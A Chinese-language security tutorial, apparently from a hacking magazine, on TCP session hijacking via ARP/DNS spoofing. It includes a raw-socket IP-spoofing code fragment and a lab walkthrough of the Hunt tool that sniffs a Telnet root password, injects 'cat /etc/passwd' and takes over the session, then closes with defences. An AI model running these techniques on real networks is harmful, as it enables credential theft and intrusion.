前言
通常,大家所說(shuō)的入侵,都是針對(duì)一臺(tái)主機(jī),在獲得管理員權(quán)限后,就很是得意;其實(shí),真正的入侵是占領(lǐng)整個(gè)內(nèi)部網(wǎng)絡(luò)。針對(duì)內(nèi)部網(wǎng)絡(luò)的攻擊方法比較多,但比較有效的方法非ARP欺騙、DNS欺騙莫屬了。但是,不管使用什么技術(shù),無(wú)非都是抓取目標(biāo)的數(shù)據(jù)包,然后分析出敏感數(shù)據(jù)。如果目標(biāo)內(nèi)部采用的是共享式網(wǎng)絡(luò)(采用HUB集線器連網(wǎng)),那只需要把網(wǎng)卡設(shè)置為“混雜模式”,掛上嗅探器(Sniffer),就能簡(jiǎn)聽(tīng)到你想得到的數(shù)據(jù)。如果是交換式網(wǎng)絡(luò)(采用交換機(jī)連網(wǎng)),這樣方法就行不通了,因?yàn)閷?duì)于嗅探器,有三種網(wǎng)絡(luò)環(huán)境是無(wú)法跨越的:“網(wǎng)橋”、“交換機(jī)”、“路由器”。可惜,對(duì)于ARP欺騙,交換式網(wǎng)絡(luò)還是無(wú)能為力,如果我們借助ARP欺騙,在實(shí)現(xiàn)更高一層的“入侵手段”,從而真正的控制內(nèi)部網(wǎng)絡(luò)。這也就是本文要敘述的會(huì)話劫持攻擊……
一、會(huì)話劫持原理
1、什么是會(huì)話劫持
在現(xiàn)實(shí)生活中,比如你去市場(chǎng)買菜,在交完錢后你要求先去干一些別的事情,稍候再來(lái)拿菜;如果這個(gè)時(shí)候某個(gè)陌生人要求把菜拿走,賣菜的人會(huì)把菜給陌生人嗎?!當(dāng)然,這只是一個(gè)比喻,但這恰恰就是會(huì)話劫持的喻意。所謂會(huì)話,就是兩臺(tái)主機(jī)之間的一次通訊。例如你Telnet到某臺(tái)主機(jī),這就是一次Telnet會(huì)話;你瀏覽某個(gè)網(wǎng)站,這就是一次HTTP會(huì)話。而會(huì)話劫持(Session Hijack),就是結(jié)合了嗅探以及欺騙技術(shù)在內(nèi)的攻擊手段。例如,在一次正常的會(huì)話過(guò)程當(dāng)中,攻擊者作為第三方參與到其中,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù),也可以在雙方的會(huì)話當(dāng)中進(jìn)行簡(jiǎn)聽(tīng),甚至可以是代替某一方主機(jī)接管會(huì)話。我們可以把會(huì)話劫持攻擊分為兩種類型:1)中間人攻擊(Man In The Middle,簡(jiǎn)稱MITM),2)注射式攻擊(Injection);并且還可以把會(huì)話劫持攻擊分為兩種形式:1)被動(dòng)劫持,2)主動(dòng)劫持;被動(dòng)劫持實(shí)際上就是在后臺(tái)監(jiān)視雙方會(huì)話的數(shù)據(jù)流,叢中獲得敏感數(shù)據(jù);而主動(dòng)劫持則是將會(huì)話當(dāng)中的某一臺(tái)主機(jī)“踢”下線,然后由攻擊者取代并接管會(huì)話,這種攻擊方法危害非常大,攻擊者可以做很多事情,比如“cat etc/master.passwd”(FreeBSD下的Shadow文件)。
MITM攻擊簡(jiǎn)介
這也就是我們常說(shuō)的“中間人攻擊”,在網(wǎng)上討論比較多的就是SMB會(huì)話劫持,這也是一個(gè)典型的中間人攻擊。要想正確的實(shí)施中間人攻擊,攻擊者首先需要使用ARP欺騙或DNS欺騙,將會(huì)話雙方的通訊流暗中改變,而這種改變對(duì)于會(huì)話雙方來(lái)說(shuō)是完全透明的。關(guān)于ARP欺騙黑客防線介紹的比較多,網(wǎng)上的資料也比較多,我就不在多說(shuō)了,我只簡(jiǎn)單談?wù)凞NS欺騙。DNS(Domain Name System),即域名服務(wù)器,我們幾乎天天都要用到。對(duì)于正常的DNS請(qǐng)求,例如在瀏覽器輸入www.hacker.com.cn,然后系統(tǒng)先查看Hosts文件,如果有相對(duì)應(yīng)的IP,就使用這個(gè)IP地址訪問(wèn)網(wǎng)站(其實(shí),利用Hosts文件就可以實(shí)現(xiàn)DNS欺騙);如果沒(méi)有,才去請(qǐng)求DNS服務(wù)器;DNS服務(wù)器在接收到請(qǐng)求之后,解析出其對(duì)應(yīng)的IP地址,返回給我本地,最后你就可以登陸到黑客防線的網(wǎng)站。而DNS欺騙則是,目標(biāo)將其DNS請(qǐng)求發(fā)送到攻擊者這里,然后攻擊者偽造DNS響應(yīng),將正確的IP地址替換為其他IP,之后你就登陸了這個(gè)攻擊者指定的IP,而攻擊者早就在這個(gè)IP中安排好了惡意網(wǎng)頁(yè),可你卻在不知不覺(jué)中已經(jīng)被攻擊者下了“套”……DNS欺騙也可以在廣域網(wǎng)中進(jìn)行,比較常見(jiàn)的有“Web服務(wù)器重定向”、“郵件服務(wù)器重定向”等等。但不管是ARP欺騙,還是DNS欺騙,中間人攻擊都改變正常的通訊流,它就相當(dāng)于會(huì)話雙方之間的一個(gè)透明代理,可以得到一切想知道的信息,甚至是利用一些有缺陷的加密協(xié)議來(lái)實(shí)現(xiàn)。
注射式攻擊簡(jiǎn)介
這種方式的會(huì)話劫持比中間人攻擊實(shí)現(xiàn)起來(lái)簡(jiǎn)單一些,它不會(huì)改變會(huì)話雙方的通訊流,而是在雙方正常的通訊流插入惡意數(shù)據(jù)。在注射式攻擊中,需要實(shí)現(xiàn)兩種技術(shù):1)IP欺騙,2)預(yù)測(cè)TCP序列號(hào)。如果是UDP協(xié)議,只需偽造IP地址,然后發(fā)送過(guò)去就可以了,因?yàn)閁DP沒(méi)有所謂的TCP三次握手,但基于UDP的應(yīng)用協(xié)議有流控機(jī)制,所以也要做一些額外的工作。對(duì)于IP欺騙,有兩種情況需要用到:1)隱藏自己的IP地址;2)利用兩臺(tái)機(jī)器之間的信任關(guān)系實(shí)施入侵。在Unix/Linux平臺(tái)上,可以直接使用Socket構(gòu)造IP包,在IP頭中填上虛假的IP地址,但需要root權(quán)限;在Windows平臺(tái)上,不能使用Winsock,需要使用Winpacp(也可以使用Libnet)。例如在Linux系統(tǒng),首先打開(kāi)一個(gè)Raw Socket(原始套接字),然后自己編寫(xiě)IP頭及其他數(shù)據(jù)。可以參考下面的實(shí)例代碼:
sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));
對(duì)于基于TCP協(xié)議的注射式會(huì)話劫持,攻擊者應(yīng)先采用嗅探技術(shù)對(duì)目標(biāo)進(jìn)行簡(jiǎn)聽(tīng),然后從簡(jiǎn)聽(tīng)到的信息中構(gòu)造出正確的序列號(hào),如果不這樣,你就必須先猜測(cè)目標(biāo)的ISN(初始序列號(hào)),這樣無(wú)形中對(duì)會(huì)話劫持加大了難度。那為什么要猜測(cè)會(huì)話雙方的序列號(hào)呢?請(qǐng)繼續(xù)往下看。
2、TCP會(huì)話劫持
本文主要敘述基于TCP協(xié)議的會(huì)話劫持。如果劫持一些不可靠的協(xié)議,那將輕而易舉,因?yàn)樗鼈儧](méi)有提供一些認(rèn)證措施;而TCP協(xié)議被欲為是可靠的傳輸協(xié)議,所以要重點(diǎn)討論它。#p#分頁(yè)標(biāo)題#e#
根據(jù)TCP/IP中的規(guī)定,使用TCP協(xié)議進(jìn)行通訊需要提供兩段序列號(hào),TCP協(xié)議使用這兩段序列號(hào)確保連接同步以及安全通訊,系統(tǒng)的TCP/IP協(xié)議棧依據(jù)時(shí)間或線性的產(chǎn)生這些值。在通訊過(guò)程中,雙方的序列號(hào)是相互依賴的,這也就是為什么稱TCP協(xié)議是可靠的傳輸協(xié)議(具體可參見(jiàn)RFC 793)。如果攻擊者在這個(gè)時(shí)候進(jìn)行會(huì)話劫持,結(jié)果肯定是失敗,因?yàn)闀?huì)話雙方“不認(rèn)識(shí)”攻擊者,攻擊者不能提供合法的序列號(hào);所以,會(huì)話劫持的關(guān)鍵是預(yù)測(cè)正確的序列號(hào),攻擊者可以采取嗅探技術(shù)獲得這些信息。
TCP協(xié)議的序列號(hào)
現(xiàn)在來(lái)討論一下有關(guān)TCP協(xié)議的序列號(hào)的相關(guān)問(wèn)題。在每一個(gè)數(shù)據(jù)包中,都有兩段序列號(hào),它們分別為:
SEQ:當(dāng)前數(shù)據(jù)包中的第一個(gè)字節(jié)的序號(hào)
ACK:期望收到對(duì)方數(shù)據(jù)包中第一個(gè)字節(jié)的序號(hào)
假設(shè)雙方現(xiàn)在需要進(jìn)行一次連接:
S_SEQ:將要發(fā)送的下一個(gè)字節(jié)的序號(hào)
S_ACK:將要接收的下一個(gè)字節(jié)的序號(hào)
S_WIND:接收窗口
//以上為服務(wù)器(Server)
C_SEQ:將要發(fā)送的下一個(gè)字節(jié)的序號(hào)
C_ACK:將要接收的下一個(gè)字節(jié)的序號(hào)
C_WIND:接收窗口
//以上為客戶端(Client)
它們之間必須符合下面的邏輯關(guān)系,否則該數(shù)據(jù)包會(huì)被丟棄,并且返回一個(gè)ACK包(包含期望的序列號(hào))。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND
如果不符合上邊的邏輯關(guān)系,就會(huì)引申出一個(gè)“致命弱點(diǎn)”,具體請(qǐng)接著往下看。
致命弱點(diǎn)
這個(gè)致命的弱點(diǎn)就是ACK風(fēng)暴(Storm)。當(dāng)會(huì)話雙方接收到一個(gè)不期望的數(shù)據(jù)包后,就會(huì)用自己期望的序列號(hào)返回ACK包;而在另一端,這個(gè)數(shù)據(jù)包也不是所期望的,就會(huì)再次以自己期望的序列號(hào)返回ACK包……于是,就這樣來(lái)回往返,形成了惡性循環(huán),最終導(dǎo)致ACK風(fēng)暴。比較好的解決辦法是先進(jìn)行ARP欺騙,使雙方的數(shù)據(jù)包“正常”的發(fā)送到攻擊者這里,然后設(shè)置包轉(zhuǎn)發(fā),最后就可以進(jìn)行會(huì)話劫持了,而且不必?fù)?dān)心會(huì)有ACK風(fēng)暴出現(xiàn)。當(dāng)然,并不是所有系統(tǒng)都會(huì)出現(xiàn)ACK風(fēng)暴。比如Linux系統(tǒng)的TCP/IP協(xié)議棧就與RFC中的描述略有不同。注意,ACK風(fēng)暴僅存在于注射式會(huì)話劫持。
TCP會(huì)話劫持過(guò)程
假設(shè)現(xiàn)在主機(jī)A和主機(jī)B進(jìn)行一次TCP會(huì)話,C為攻擊者,劫持過(guò)程如下:
A向B發(fā)送一個(gè)數(shù)據(jù)包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ,包大小為:60
B回應(yīng)A一個(gè)數(shù)據(jù)包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ,包大小為:50
A向B回應(yīng)一個(gè)數(shù)據(jù)包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ,包大小為:40
B向A回應(yīng)一個(gè)數(shù)據(jù)包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ,包大小為:30
攻擊者C冒充主機(jī)A給主機(jī)B發(fā)送一個(gè)數(shù)據(jù)包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ,包大小為:20
B向A回應(yīng)一個(gè)數(shù)據(jù)包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ,包大小為:10
現(xiàn)在,主機(jī)B執(zhí)行了攻擊者C冒充主機(jī)A發(fā)送過(guò)來(lái)的命令,并且返回給主機(jī)A一個(gè)數(shù)據(jù)包;但是,主機(jī)A并不能識(shí)別主機(jī)B發(fā)送過(guò)來(lái)的數(shù)據(jù)包,所以主機(jī)A會(huì)以期望的序列號(hào)返回給主機(jī)B一個(gè)數(shù)據(jù)包,隨即形成ACK風(fēng)暴。如果成功的解決了ACK風(fēng)暴(例如前邊提到的ARP欺騙),就可以成功進(jìn)行會(huì)話劫持了。
關(guān)于理論知識(shí)就說(shuō)到這里,下面我以具體的實(shí)例演示一次會(huì)話劫持。
二、會(huì)話劫持實(shí)踐
1、嘮叨幾句
可以進(jìn)行會(huì)話劫持的工具很多,比較常用有Juggernaut,它可以進(jìn)行TCP會(huì)話劫持的網(wǎng)絡(luò)Sniffer程序;TTY Watcher,而它是針對(duì)單一主機(jī)上的連接進(jìn)行會(huì)話劫持。還有如Dsniff這樣的工具包也可以實(shí)現(xiàn)會(huì)話劫持,只是看你會(huì)不會(huì)使用了。但,能將會(huì)話劫持發(fā)揮得淋漓盡致的,還要算Hunt這個(gè)工具了。它的作者是Pavel Krauz,可以工作在Linux和一些Unix平臺(tái)下。它的功能非常強(qiáng)大,首先,無(wú)論是在共享式網(wǎng)絡(luò)還是交換式網(wǎng)絡(luò),它都可以正常工作;其次,可以進(jìn)行中間人攻擊和注射式攻擊。還可以進(jìn)行嗅探、查看會(huì)話、監(jiān)視會(huì)話、重置會(huì)話。通過(guò)前面的敘述,我們知道在注射式攻擊中,容易出現(xiàn)ACK風(fēng)暴,解決辦法是先進(jìn)行ARP欺騙;而使用Hunt進(jìn)行注射式攻擊時(shí),它并不進(jìn)行ARP欺騙,而是在會(huì)話劫持之后,向會(huì)話雙方發(fā)送帶RST標(biāo)志位的TCP包以中斷會(huì)話,避免ACK風(fēng)暴繼續(xù)下去。而中間人攻擊是先進(jìn)行ARP欺騙,然后進(jìn)行會(huì)話劫持。Hunt目前最新版本是1.5,可以到Pavel Krauz網(wǎng)站下載源代碼包和二進(jìn)制文件:http://lin.fsid.cvut.cz/~kra/#hunt。#p#分頁(yè)標(biāo)題#e#
現(xiàn)在來(lái)看看如果使用Hunt,首先是下載并編譯源代碼:
[root@dahubaobao hunt]#wget http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互試的操作
解釋一下各個(gè)選項(xiàng)的含義
l/w/r) list/watch/reset connections
//l(字母l)為查看當(dāng)前網(wǎng)絡(luò)上的會(huì)話;w為監(jiān)視當(dāng)前網(wǎng)絡(luò)上的某個(gè)會(huì)話;r為重置當(dāng)前網(wǎng)絡(luò)上的某個(gè)會(huì)話。
a) arp/simple hijack (avoids ack storm if arp used)
//中間人攻擊(會(huì)話劫持),Hunt先進(jìn)行ARP欺騙,然后進(jìn)行會(huì)話劫持。使用此方法可以避免出現(xiàn)ACK風(fēng)暴。
s) simple hijack
//簡(jiǎn)單的會(huì)話劫持,也就是注射式攻擊。會(huì)出現(xiàn)ACK風(fēng)暴。
d) daemons rst/arp/sniff/mac
//該選項(xiàng)共實(shí)現(xiàn)四個(gè)功能,分別為:終止會(huì)話,自動(dòng)發(fā)送帶RST標(biāo)志位的TCP包;ARP欺騙后進(jìn)行數(shù)據(jù)包轉(zhuǎn)發(fā);不用說(shuō)了,嗅探功能;在當(dāng)前網(wǎng)絡(luò)上收集MAC地址。
其他的選項(xiàng)很簡(jiǎn)單,不在多說(shuō)了。還是來(lái)看看具體的例子吧,我想大家都等不及了!^_^
2、應(yīng)用實(shí)例
測(cè)試環(huán)境:
攻擊者:Red Hat Linux 9.0 IP:192.168.0.10
主機(jī)A:Windows Advanced Server IP:192.168.0.1
主機(jī)B:FreeBSD 4.9 STABLE IP:192.168.0.20
[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看當(dāng)前網(wǎng)絡(luò)上的會(huì)話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
//主機(jī)A正在Telnet到主機(jī)B
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //監(jiān)視當(dāng)前網(wǎng)絡(luò)上的會(huì)話
0)192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //選擇打算監(jiān)視的會(huì)話。由于我的條件有限,不能模擬多個(gè)會(huì)話,請(qǐng)多見(jiàn)量。
Dump [s]rc/[d]st/[b]oth [b]> //回車
Print sec/dst same charactes y/n [n]> //回車
現(xiàn)在就可以監(jiān)視會(huì)話了。主機(jī)A輸入的一切內(nèi)容,我們都可以看到。主機(jī)A在Telnet并登陸之后,直接su root,password:后邊的就是root的密碼。現(xiàn)在這個(gè)系統(tǒng)已經(jīng)完全由你所控制了,自由發(fā)揮吧!
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //進(jìn)行注射式會(huì)話劫持
0)192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
攻擊者的意圖是獲取主機(jī)B的passwd文件的內(nèi)容,但由于注射式會(huì)話劫持缺陷,導(dǎo)致了ACK風(fēng)暴,所以Hunt向會(huì)話雙方發(fā)送了一個(gè)帶RST標(biāo)志位的TCP包來(lái)阻止ACK風(fēng)暴。
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------#p#分頁(yè)標(biāo)題#e#
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //進(jìn)行中間人會(huì)話劫持
0)192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+ , line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工輸入CTRL+C中斷,不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................
現(xiàn)在,攻擊者已經(jīng)成功的劫持了主機(jī)A和B之間的Telnet會(huì)話。主機(jī)A輸入的一切命令攻擊者都可以看到,并且攻擊者也可以自行插入命令。正如前邊所說(shuō)的,這種會(huì)話劫持方式先進(jìn)行ARP欺騙,然后才劫持,所以,ACK風(fēng)暴是不會(huì)出現(xiàn)的;而且,這種方式要比注射式會(huì)話劫持危害更大,從上文中我想就能看出來(lái),我就不必在多說(shuō)什么了。還有一些如Sniffer等功能,都很簡(jiǎn)單,由于已不在本文范疇,故不在多說(shuō)。
三、會(huì)話劫持防范
防范會(huì)話劫持是一個(gè)比較大的工程。首先應(yīng)該使用交換式網(wǎng)絡(luò)替代共享式網(wǎng)絡(luò),雖然像Hunt這樣的工具可以在交換環(huán)境中實(shí)現(xiàn)會(huì)話劫持,但還是應(yīng)該使用交換式網(wǎng)絡(luò)替代共享式網(wǎng)絡(luò),因?yàn)檫@樣可以防范最基本的嗅探攻擊。然而,最根本的解決辦法是采用加密通訊,使用SSH代替Telnet、使用SSL代替HTTP,或者干脆使用IPSec/VPN,這樣會(huì)話劫持就無(wú)用武之地了。其次,監(jiān)視網(wǎng)絡(luò)流量,如發(fā)現(xiàn)網(wǎng)絡(luò)中出現(xiàn)大量的ACK包,則有可能已被進(jìn)行了會(huì)話劫持攻擊。
還有一點(diǎn)是比較重要的,就是防范ARP欺騙。實(shí)現(xiàn)中間人攻擊的前提是ARP欺騙,如能阻止攻擊者進(jìn)行ARP欺騙,中間人攻擊還怎樣進(jìn)行?!如何防范ARP欺騙,黑客防線有過(guò)詳細(xì)的介紹,可以參考2003年第9期雜志。
總結(jié)
對(duì)于滲透內(nèi)部網(wǎng)絡(luò),會(huì)話劫持確實(shí)是一種比較有效的方法,我們應(yīng)該掌握。本文的實(shí)踐性很強(qiáng),請(qǐng)大家務(wù)必動(dòng)手試試,并希望能掌握此技術(shù)。Hunt這個(gè)強(qiáng)悍的工具使用方法很簡(jiǎn)單,但卻可以把會(huì)話劫持發(fā)揮淋漓盡致,真佩服作者的編程功底。


